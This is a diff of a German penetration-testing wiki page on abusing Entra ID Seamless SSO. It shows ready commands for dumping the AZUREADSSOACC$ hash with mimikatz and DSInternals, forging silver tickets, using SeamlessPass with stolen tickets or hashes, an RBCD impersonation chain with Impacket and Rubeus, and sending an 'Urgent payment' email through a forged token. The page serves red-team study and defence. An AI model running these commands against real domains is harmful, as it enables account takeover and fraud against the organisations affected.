-Die **Kerberos-Tickets** sind **verschlüsselt** mit dem **NTHash (MD4)** des Passworts, und Azure AD verwendet das gesendete Passwort, um die Tickets zu entschlüsseln.
+Die **Kerberos-Tickets** sind **verschlüsselt** mit dem **NTHash (MD4)** des Passworts, und Entra ID verwendet das gesendete Passwort, um die Tickets zu entschlüsseln.

-**Azure AD** stellt einen **Endpunkt** (https://autologon.microsoftazuread-sso.com) zur Verfügung, der Kerberos **Tickets** akzeptiert. Der Browser des domänenverbundenen Geräts leitet die Tickets an diesen Endpunkt für SSO weiter.
+**Entra ID** stellt einen **Endpunkt** (https://autologon.microsoftazuread-sso.com) zur Verfügung, der Kerberos **Tickets** akzeptiert. Der Browser des domain-verbundenen Geräts leitet die Tickets an diesen Endpunkt für SSO weiter.

-### On-prem -> cloud
+### Aufzählung
+```bash
+# Check if the SSO is enabled in the tenant
+Import-Module AADInternals
+Invoke-AADIntReconAsOutsider -Domain <domain name> | Format-Table

-Das **Passwort** des Benutzers **`AZUREADSSOACC$` ändert sich niemals**. Daher könnte ein Domänenadministrator den **Hash dieses Kontos** kompromittieren und ihn dann verwenden, um **silberne Tickets** zu erstellen, um sich mit **jedem lokal synchronisierten Benutzer** bei Azure zu verbinden:
+# Check if the AZUREADSSOACC$ account exists in the domain
+Install-WindowsFeature RSAT-AD-PowerShell
+Import-Module ActiveDirectory
+Get-ADComputer -Filter "SamAccountName -like 'AZUREADSSOACC$'"
+
+# Check it using raw LDAP queries without needing an external module
+$searcher = New-Object System.DirectoryServices.DirectorySearcher
+$searcher.Filter = "(samAccountName=AZUREADSSOACC`$)"
+$searcher.FindOne()
+```
+## Pivoting: On-prem -> cloud
+
+> [!WARNING]
+> Das Wichtigste, was man über diesen Angriff wissen sollte, ist, dass es ausreicht, das TGT oder ein spezifisches TGS eines Benutzers, der mit Entra ID synchronisiert ist, zu haben, um auf die Cloud-Ressourcen zuzugreifen.\
+> Dies liegt daran, dass es ein Ticket ist, das es einem Benutzer ermöglicht, sich in der Cloud anzumelden.
+
+Um das TGS-Ticket zu erhalten, muss der Angreifer eines der folgenden Dinge haben:
+- **Ein kompromittiertes TGS eines Benutzers:** Wenn Sie die Sitzung eines Benutzers mit dem Ticket zu `HTTP/autologon.microsoftazuread-sso.com` im Speicher kompromittieren, können Sie es verwenden, um auf die Cloud-Ressourcen zuzugreifen.
+- **Ein kompromittiertes TGT eines Benutzers:** Selbst wenn Sie keines haben, aber der Benutzer kompromittiert wurde, können Sie eines mit dem gefälschten TGT-Delegationstrick erhalten, der in vielen Tools wie [Kekeo](https://x.com/gentilkiwi/status/998219775485661184) und [Rubeus](https://posts.specterops.io/rubeus-now-with-more-kekeo-6f57d91079b9) implementiert ist.
+- **Ein kompromittierter Hash oder Passwort eines Benutzers:** SeamlessPass wird mit diesen Informationen mit dem Domänencontroller kommunizieren, um das TGT und dann das TGS zu generieren.
+- **Ein goldenes Ticket:** Wenn Sie den KRBTGT-Schlüssel haben, können Sie das benötigte TGT für den angegriffenen Benutzer erstellen.
+- **Der Hash oder das Passwort des AZUREADSSOACC$-Kontos:** Mit diesen Informationen und der Sicherheitskennung (SID) des Benutzers ist es möglich, ein Serviceticket zu erstellen und sich mit der Cloud zu authentifizieren (wie im vorherigen Verfahren durchgeführt).
+
+### [**SeamlessPass**](https://github.com/Malcrove/SeamlessPass)
+
+Wie [in diesem Blogbeitrag erklärt](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/), ist es mit einem der vorherigen Anforderungen sehr einfach, das Tool **SeamlessPass** zu verwenden, um auf die Cloud-Ressourcen als der kompromittierte Benutzer oder als jeder Benutzer zuzugreifen, wenn Sie den **`AZUREADSSOACC$`**-Kontohash oder das Passwort haben.
+
+Schließlich ist es mit dem TGT möglich, das Tool [**SeamlessPass**](https://github.com/Malcrove/SeamlessPass) zu verwenden mit:
+```bash
+# Using the TGT to access the cloud
+seamlesspass -tenant corp.com -domain corp.local -dc dc.corp.local -tgt <base64_encoded_TGT>
+# Using the TGS to access the cloud
+seamlesspass -tenant corp.com -tgs user_tgs.ccache
+# Using the victims account hash or password to access the cloud
+seamlesspass -tenant corp.com -domain corp.local -dc dc.corp.local -username user -ntlm DEADBEEFDEADBEEFDEADBEEFDEADBEEF
+seamlesspass -tenant corp.com -domain corp.local -dc 10.0.1.2 -username user -password password
+# Using the AZUREADSSOACC$ account hash (ntlm or aes) to access the cloud with a specific user SID and domain SID
+seamlesspass -tenant corp.com -adssoacc-ntlm DEADBEEFDEADBEEFDEADBEEFDEADBEEF -user-sid S-1-5-21-1234567890-1234567890-1234567890-1234
+seamlesspass -tenant corp.com -adssoacc-aes DEADBEEFDEADBEEFDEADBEEFDEADBEEF -domain-sid S-1-5-21-1234567890-1234567890-1234567890 -user-rid 1234
+wmic useraccount get name,sid # Get the user SIDs
+```
+Weitere Informationen zur Konfiguration von Firefox für die Verwendung mit Seamless SSO sind [**in diesem Blogbeitrag**](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/) zu finden.
+
+
+### Abrufen der Hashes des AZUREADSSOACC$-Kontos
+
+Das **Passwort** des Benutzers **`AZUREADSSOACC$` ändert sich nie**. Daher könnte ein Domänenadministrator den **Hash dieses Kontos** kompromittieren und ihn dann verwenden, um **Silber-Tickets** zu erstellen, um sich mit **jedem synchronisierten On-Prem-Benutzer** mit Azure zu verbinden:
 ```bash
 # Dump hash using mimikatz
 Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\azureadssoacc$ /domain:domain.local /dc:dc.domain.local"'
@@ -38,14 +88,20 @@ Import-Module DSInternals
 $key = Get-BootKey -SystemHivePath 'C:\temp\registry\SYSTEM'
 (Get-ADDBAccount -SamAccountName 'AZUREADSSOACC$' -DBPath 'C:\temp\Active Directory\ntds.dit' -BootKey $key).NTHash | Format-Hexos
 ```
-Mit dem Hash kannst du jetzt **Silber-Tickets generieren**:
+> [!NOTE]
+> Mit den aktuellen Informationen könnten Sie einfach das Tool **SeamlessPass** wie zuvor angegeben verwenden, um Azure- und Entraid-Token für jeden Benutzer in der Domäne zu erhalten.
+> Sie könnten auch die vorherigen Techniken (und andere) verwenden, um den Hash des Passworts des Opfers zu erhalten, das Sie anstelle des Kontos `AZUREADSSOACC$` nachahmen möchten.
+
+#### Erstellen von Silver Tickets
+
+Mit dem Hash können Sie jetzt **Silver Tickets generieren**:
 ```bash
 # Get users and SIDs
 Get-AzureADUser | Select UserPrincipalName,OnPremisesSecurityIdentifier

 # Create a silver ticket to connect to Azure with mimikatz
-Invoke-Mimikatz -Command '"kerberos::golden /user:onpremadmin /sid:S-1-5-21-123456789-1234567890-123456789 /id:1105 /domain:domain.local /rc4:<azureadssoacc hash> /target:aadg.windows.net.nsatc.net /service:HTTP /ptt"'
-mimikatz.exe "kerberos::golden /user:elrond /sid:S-1-5-21-2121516926-2695913149-3163778339 /id:1234 /domain:contoso.local /rc4:12349e088b2c13d93833d0ce947676dd /target:aadg.windows.net.nsatc.net /service:HTTP /ptt" exit
+Invoke-Mimikatz -Command '"kerberos::golden /user:onpremadmin /sid:S-1-5-21-123456789-1234567890-123456789 /id:1105 /domain:domain.local /rc4:<azureadssoacc hash> /target:autologon.microsoftazuread-sso.com /service:HTTP /ptt"'
+mimikatz.exe "kerberos::golden /user:elrond /sid:S-1-5-21-2121516926-2695913149-3163778339 /id:1234 /domain:contoso.local /rc4:12349e088b2c13d93833d0ce947676dd /target:autologon.microsoftazuread-sso.com /service:HTTP /ptt" exit

 # Create silver ticket with AADInternal to access Exchange Online
 $kerberos=New-AADIntKerberosTicket -SidString "S-1-5-21-854168551-3279074086-2022502410-1104" -Hash "097AB3CBED7B9DD6FE6C992024BC38F4"
@@ -53,57 +109,84 @@ $at=Get-AADIntAccessTokenForEXO -KerberosTicket $kerberos -Domain company.com
 ## Send email
 Send-AADIntOutlookMessage -AccessToken $at -Recipient "someone@company.com" -Subject "Urgent payment" -Message "<h1>Urgent!</h1><br>The following bill should be paid asap."
 ```
+### Verwendung von Silver Tickets mit Firefox
+
 Um das Silver Ticket zu nutzen, sollten die folgenden Schritte ausgeführt werden:

 1. **Browser starten:** Mozilla Firefox sollte gestartet werden.
 2. **Browser konfigurieren:**
 - Navigieren Sie zu **`about:config`**.
- Setzen Sie die Präferenz für [network.negotiate-auth.trusted-uris](https://github.com/mozilla/policy-templates/blob/master/README.md#authentication) auf die angegebenen [Werte](https://docs.microsoft.com/en-us/azure/active-directory/connect/active-directory-aadconnect-sso#ensuring-clients-sign-in-automatically):
- `https://aadg.windows.net.nsatc.net`
- `https://autologon.microsoftazuread-sso.com`
+- Setzen Sie die Präferenz für [network.negotiate-auth.trusted-uris](https://github.com/mozilla/policy-templates/blob/master/README.md#authentication) auf den angegebenen [Wert](https://docs.microsoft.com/en-us/azure/active-directory/connect/active-directory-aadconnect-sso#ensuring-clients-sign-in-automatically):
+- `https://aadg.windows.net.nsatc.net,https://autologon.microsoftazuread-sso.com`
+- Navigieren Sie zu Firefox `Einstellungen` > Suchen Sie nach `Windows-SSO für Microsoft-, Arbeits- und Schulkonten zulassen` und aktivieren Sie es.
 3. **Zugriff auf die Webanwendung:**
- Besuchen Sie eine Webanwendung, die mit der AAD-Domain der Organisation integriert ist. Ein häufiges Beispiel ist [Office 365](https://portal.office.com/).
+- Besuchen Sie eine Webanwendung, die mit der AAD-Domain der Organisation integriert ist. Ein häufiges Beispiel ist [login.microsoftonline.com](https://login.microsoftonline.com/).
 4. **Authentifizierungsprozess:**
 - Geben Sie auf dem Anmeldebildschirm den Benutzernamen ein und lassen Sie das Passwortfeld leer.
- Drücken Sie zur Fortsetzung entweder TAB oder ENTER.
+- Um fortzufahren, drücken Sie entweder TAB oder ENTER.

-> [!TIP]
-> Dies umgeht keine MFA, wenn sie aktiviert ist
+> [!WARNING]
+> Dies **umgeht nicht die MFA, wenn sie für den Benutzer aktiviert ist**.

-#### Option 2 ohne dcsync - SeamlessPass

-Es ist auch möglich, diesen Angriff **ohne einen dcsync-Angriff** durchzuführen, um stealthier zu sein, wie [in diesem Blogbeitrag erklärt](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/). Dafür benötigen Sie nur eines der folgenden:
+### On-prem -> Cloud über ressourcenbasierte eingeschränkte Delegation <a href="#creating-kerberos-tickets-for-cloud-only-users" id="creating-kerberos-tickets-for-cloud-only-users"></a>

- **Ein kompromittiertes TGT eines Benutzers:** Selbst wenn Sie keines haben, aber der Benutzer kompromittiert wurde, können Sie eines mit dem Fake-TGT-Delegationstrick erhalten, der in vielen Tools wie [Kekeo](https://x.com/gentilkiwi/status/998219775485661184) und [Rubeus](https://posts.specterops.io/rubeus-now-with-more-kekeo-6f57d91079b9) implementiert ist.
- **Golden Ticket**: Wenn Sie den KRBTGT-Schlüssel haben, können Sie das benötigte TGT für den angegriffenen Benutzer erstellen.
- **Ein kompromittierter NTLM-Hash oder AES-Schlüssel eines Benutzers:** SeamlessPass wird mit diesen Informationen mit dem Domänencontroller kommunizieren, um das TGT zu generieren.
- **AZUREADSSOACC$-Konto NTLM-Hash oder AES-Schlüssel:** Mit diesen Informationen und der Sicherheitskennung (SID) des Benutzers, den Sie angreifen möchten, ist es möglich, ein Serviceticket zu erstellen und sich mit der Cloud zu authentifizieren (wie im vorherigen Verfahren durchgeführt).
+Um den Angriff durchzuführen, wird benötigt:

-Schließlich ist es mit dem TGT möglich, das Tool [**SeamlessPass**](https://github.com/Malcrove/SeamlessPass) zu verwenden mit:
+- `WriteDACL` / `GenericWrite` über `AZUREADSSOACC$`
+- Ein Computer-Konto, das Sie kontrollieren (Hash & Passwort) - Sie könnten eines erstellen
+
+
+1. Schritt 1 – Fügen Sie Ihr eigenes Computer-Konto hinzu
+- Erstellt `ATTACKBOX$` und druckt dessen SID/NTLM-Hash. Jeder Domänenbenutzer kann dies tun, solange MachineAccountQuota > 0
+```bash
+# Impacket
+python3 addcomputer.py CONTOSO/bob:'P@ssw0rd!' -dc-ip 10.0.0.10 \
+-computer ATTACKBOX$ -password S3cureP@ss
 ```
-seamlesspass -tenant corp.com -domain corp.local -dc dc.corp.local -tgt <base64_TGT>
+2. Schritt 2 – Gewähren Sie RBCD auf `AZUREADSSOACC$` - Schreibt die SID Ihres Geräts in `msDS-AllowedToActOnBehalfOfOtherIdentity`.
+```bash
+python3 rbcd.py CONTOSO/bob:'P@ssw0rd!'@10.0.0.10 \
+ATTACKBOX$ AZUREADSSOACC$
+
+# Or, from Windows:
+$SID = (Get-ADComputer ATTACKBOX$).SID
+Set-ADComputer AZUREADSSOACC$ `
+-PrincipalsAllowedToDelegateToAccount $SID
 ```
-Weitere Informationen zur Konfiguration von Firefox für die Verwendung mit Seamless SSO sind [**in diesem Blogbeitrag zu finden**](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/).
+3. Schritt 3 – Erstellen Sie ein TGS für jeden Benutzer (z. B. alice)
+```bash
+# Using your machine's password or NTLM hash
+python3 getST.py -dc-ip 192.168.1.10 \
+-spn HTTP/autologon.microsoftazuread-sso.com \
+-impersonate alice \
+DOMAIN/ATTACKBOX$ -hashes :9b3c0d06d0b9a6ef9ed0e72fb2b64821

-#### ~~Erstellen von Kerberos-Tickets für Cloud-nur-Benutzer~~ <a href="#creating-kerberos-tickets-for-cloud-only-users" id="creating-kerberos-tickets-for-cloud-only-users"></a>
+# Produces alice.autologon.ccache

-Wenn die Active Directory-Administratoren Zugriff auf Azure AD Connect haben, können sie **SID für jeden Cloud-Benutzer festlegen**. Auf diese Weise können Kerberos **Tickets** auch für Cloud-nur-Benutzer **erstellt werden**. Die einzige Voraussetzung ist, dass die SID eine gültige [SID](<https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc778824(v=ws.10)>) ist.
+#Or, from Windows:
+Rubeus s4u /user:ATTACKBOX$ /rc4:9b3c0d06d0b9a6ef9ed0e72fb2b64821 `
+/impersonateuser:alice `
+/msdsspn:"HTTP/autologon.microsoftazuread-sso.com" /dc:192.168.1.10 /ptt
+```
+Sie können jetzt das **TGS verwenden, um auf Azure-Ressourcen als der impersonierte Benutzer zuzugreifen.**
+
+
+### ~~Erstellen von Kerberos-Tickets für Cloud-nur-Benutzer~~ <a href="#creating-kerberos-tickets-for-cloud-only-users" id="creating-kerberos-tickets-for-cloud-only-users"></a>
+
+Wenn die Active Directory-Administratoren Zugriff auf Azure AD Connect haben, können sie **SID für jeden Cloud-Benutzer festlegen**. Auf diese Weise können Kerberos **Tickets** **auch für Cloud-nur-Benutzer erstellt werden**. Die einzige Voraussetzung ist, dass die SID eine gültige [SID](<https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc778824(v=ws.10)>) ist.

 > [!CAUTION]
 > Das Ändern der SID von Cloud-nur-Admin-Benutzern ist jetzt **von Microsoft blockiert**.\
 > Für Informationen siehe [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/)

-### On-prem -> Cloud über ressourcenbasierte eingeschränkte Delegation <a href="#creating-kerberos-tickets-for-cloud-only-users" id="creating-kerberos-tickets-for-cloud-only-users"></a>

-Jeder, der Computer-Konten (`AZUREADSSOACC$`) im Container oder in der OU, in der sich dieses Konto befindet, verwalten kann, kann **eine ressourcenbasierte eingeschränkte Delegation über das Konto konfigurieren und darauf zugreifen**.
-```python
-python rbdel.py -u <workgroup>\\<user> -p <pass> <ip> azureadssosvc$
-```
+
 ## Referenzen

 - [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-sso](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-sso)
 - [https://www.dsinternals.com/en/impersonating-office-365-users-mimikatz/](https://www.dsinternals.com/en/impersonating-office-365-users-mimikatz/)
 - [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/)
- [TR19: Ich bin in deiner Cloud und lese die E-Mails aller - Hacking von Azure AD über Active Directory](https://www.youtube.com/watch?v=JEIR5oGCwdg)
+- [TR19: I'm in your cloud, reading everyone's emails - hacking Azure AD via Active Directory](https://www.youtube.com/watch?v=JEIR5oGCwdg)

 {{#include ../../../../banners/hacktricks-training.md}}